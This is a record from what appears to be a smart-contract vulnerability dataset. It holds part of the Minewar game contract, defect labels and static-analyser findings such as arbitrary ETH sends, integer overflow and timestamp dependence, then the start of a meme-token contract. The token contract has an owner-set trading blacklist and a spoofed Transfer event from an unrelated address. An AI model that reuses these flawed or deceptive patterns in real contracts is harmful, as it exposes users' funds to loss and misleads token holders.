halfLife) private view returns(uint256) { uint256 timePassed=SafeMath.sub(now, startingTime); uint256 levelsPassed=SafeMath.div(timePassed, halfLife); if (startingLevel < levelsPassed) { return 0; } return SafeMath.sub(startingLevel, levelsPassed); } function getCurrentPrice(uint256 currentLevel) private view returns(uint256) { return SafeMath.mul(BASE_PRICE, 2**currentLevel); } function updateRankList(address addr) private returns(bool) { uint256 idx = 0; PlyerData storage insert = players[addr]; PlyerData storage lastOne = players[rankList[19]]; if(insert.hashrate < lastOne.hashrate) { return false; } address[21] memory tempList = rankList; if(!inRankList(addr)){ tempList[20] = addr; quickSort(tempList, 0, 20); }else{ quickSort(tempList, 0, 19); } for(idx = 0;idx < 21; idx++){ if(tempList[idx] != rankList[idx]){ rankList[idx] = tempList[idx]; } } return true; } function inRankList(address addr) internal returns(bool) { for(uint256 idx = 0;idx < 20; idx++){ if(addr == rankList[idx]){ return true; } } return false; } function quickSort(address[21] list, int left, int right) internal { int i = left; int j = right; if(i == j) return; address addr = list[uint(left + (right - left) / 2)]; PlyerData storage p = players[addr]; while (i <= j) { while (players[list[uint(i)]].hashrate > p.hashrate) i++; while (p.hashrate > players[list[uint(j)]].hashrate) j--; if (i <= j) { (list[uint(i)], list[uint(j)]) = (list[uint(j)], list[uint(i)]); i++; j--; } } if (left < j) quickSort(list, left, j); if (i < right) quickSort(list, i, right); } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["369", "293", "373", "158", "368", "292", "459", "458"]}, {"defect": "Transaction_order_dependency", "type": "Business_logic", "severity": "Medium", "lines": ["176"]}, {"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["203", "340", "396", "380", "360", "287", "315", "485", "430", "452", "469", "190", "228", "271", "425", "455", "598", "255", "522", "363", "364", "564", "563"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["426", "322"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["216", "334", "448", "535", "377", "466", "174", "284", "356", "420", "156", "189"]}]
[{"check": "arbitrary-send", "impact": "High", "confidence": "Medium", "lines": {"Minewar.sol": [176]}}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium", "lines": {"Minewar.sol": [158]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [52]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [54]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [55]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [57]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [56]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"Minewar.sol": [162]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 446, 447]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [160, 161, 162, 163, 164, 165, 166, 154, 155, 156, 157, 158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [513, 514, 515, 516]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [168, 169, 170, 167]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 252, 253, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [384, 385, 386, 387, 388, 389, 390, 391, 375, 376, 377, 378, 379, 380, 381, 382, 383]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [480, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Minewar.sol": [172, 173, 174, 175, 176, 177, 178, 179]}}, {"check": "function-init-state", "impact": "Informational", "confidence": "High", "lines": {"Minewar.sol": [53]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Minewar.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"Minewar.sol": [323]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"Minewar.sol": [379]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"Minewar.sol": [335]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"Minewar.sol": [421]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"Minewar.sol": [449]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"Minewar.sol": [285]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"Minewar.sol": [357]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"Minewar.sol": [217]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"Minewar.sol": [468]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [162]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Minewar.sol": [54]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Minewar.sol": [53]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Minewar.sol": [57]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Minewar.sol": [52]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Minewar.sol": [55]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Minewar.sol": [56]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Minewar.sol": [371]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Minewar.sol": [543]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Minewar.sol": [390]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Minewar.sol": [137]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Minewar.sol": [352]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Minewar.sol": [461]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Minewar.sol": [178]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [323]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [379]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [174]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [335]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [421]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [191]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [217]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [156]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [449]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [601]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [468]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [541]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [288]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [551]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Minewar.sol": [357]}}, {"check": "tautology", "impact": "Medium", "confidence": "High", "lines": {"Minewar.sol": [223]}}]
[{"error": "Integer Overflow.", "line": 272, "level": "Warning"}, {"error": "Integer Overflow.", "line": 259, "level": "Warning"}, {"error": "Integer Overflow.", "line": 261, "level": "Warning"}, {"error": "Integer Overflow.", "line": 316, "level": "Warning"}, {"error": "Integer Overflow.", "line": 418, "level": "Warning"}, {"error": "Integer Overflow.", "line": 540, "level": "Warning"}, {"error": "Integer Overflow.", "line": 307, "level": "Warning"}, {"error": "Integer Overflow.", "line": 276, "level": "Warning"}, {"error": "Integer Overflow.", "line": 265, "level": "Warning"}, {"error": "Integer Overflow.", "line": 308, "level": "Warning"}, {"error": "Integer Overflow.", "line": 260, "level": "Warning"}, {"error": "Integer Overflow.", "line": 538, "level": "Warning"}, {"error": "Integer Overflow.", "line": 309, "level": "Warning"}]
[{"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 146, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 150, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 194, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 221, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 231, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 242, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 263, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 321, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 406, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 495, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 524, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 600, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 601, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 599, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 600, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 601, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 59, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 60, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 62, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 64, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 65, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 67, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 68, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 69, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 70, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 223, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 239, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 288, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 341, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 426, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 431, "severity": 1}, {"rule": "SOLIDITY_TRANSFER_IN_LOOP", "line": 160, "severity": 2}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 214, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 332, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 332, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 392, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 392, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 418, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 418, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 481, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 481, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 50, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 56, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 57, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 71, "severity": 1}]
[{"constant":false,"inputs":[{"name":"amount","type":"uint256"},{"name":"index","type":"uint256"}],"name":"sellCrystal","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"},{"name":"unitPrice","type":"uint256"},{"name":"title","type":"string"},{"name":"description","type":"string"}],"name":"sellCrystalDemand","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"minerAddr","type":"address"}],"name":"getHashratePerDay","outputs":[{"name":"personalProduction","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"index","type":"uint256"}],"name":"getBoosterPrice","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"deadline","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"getPlayerData","outputs":[{"name":"crystals","type":"uint256"},{"name":"lastupdate","type":"uint256"},{"name":"hashratePerDay","type":"uint256"},{"name":"miners","type":"uint256[8]"},{"name":"hasBoost","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"idx","type":"uint256"}],"name":"getBoosterData","outputs":[{"name":"owner","type":"address"},{"name":"boostRate","type":"uint256"},{"name":"startingLevel","type":"uint256"},{"name":"startingTime","type":"uint256"},{"name":"currentPrice","type":"uint256"},{"name":"halfLife","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"amount","type":"uint256"}],"name":"devFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"},{"name":"unitPrice","type":"uint256"},{"name":"title","type":"string"},{"name":"description","type":"string"}],"name":"buyCrystalDemand","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"minerNumbers","type":"uint256[]"}],"name":"buyMiner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"HALF_TIME","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"getHighestUnitPriceIdxFromSell","outputs":[{"name":"highestIdx","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"index","type":"uint256"}],"name":"withdrawBuyDemand","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"sponsor","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"index","type":"uint256"}],"name":"getSellDemand","outputs":[{"name":"owner","type":"address"},{"name":"title","type":"string"},{"name":"description","type":"string"},{"name":"amount","type":"uint256"},{"name":"unitPrice","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"ROUND_TIME","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"index","type":"uint256"}],"name":"withdrawSellDemand","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"ref","type":"address"}],"name":"getFreeMiner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"SHARE_CRYSTAL","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getSponsorFee","outputs":[{"name":"sponsorFee","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getRankList","outputs":[{"name":"","type":"address[21]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"hasBooster","outputs":[{"name":"boostIdx","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"lottery","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"CRTSTAL_MINING_PERIOD","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"idx","type":"uint256"}],"name":"buyBooster","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"getLowestUnitPriceIdxFromBuy","outputs":[{"name":"lowestIdx","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"becomeSponsor","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"sponsorLevel","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"administrator","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"index","type":"uint256"}],"name":"getBuyDemand","outputs":[{"name":"owner","type":"address"},{"name":"title","type":"string"},{"name":"description","type":"string"},{"name":"amount","type":"uint256"},{"name":"unitPrice","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"},{"name":"index","type":"uint256"}],"name":"buyCrystal","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"}]
v0.4.24+commit.e67f0147
false
200
Default
false
bzzr://c5e10fb5270ef9e99ad3fd359804b6ae6911b6b80cabd9c694284d3890a75527
DuneInu
0x9773830b612e7ce24b976d2a5b3968c2f82d7a97
Solidity
/* - Developer provides LP, no presale - No Team Tokens, 30 day locked LP - 100% Stealth Launch website: https://duneinu.com/ telegram: https://t.me/DuneInu */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DuneInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Dune Inu"; string private constant _symbol = "DUNEINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x8F0ef7e61B9A5D52ff74435d9AfdF9780F42a9e5); _feeAddrWallet2 = payable(0x8F0ef7e61B9A5D52ff74435d9AfdF9780F42a9e5); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x697C1BaFB4FAC3e77937305C5a4c6DCa4af22a3a), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = 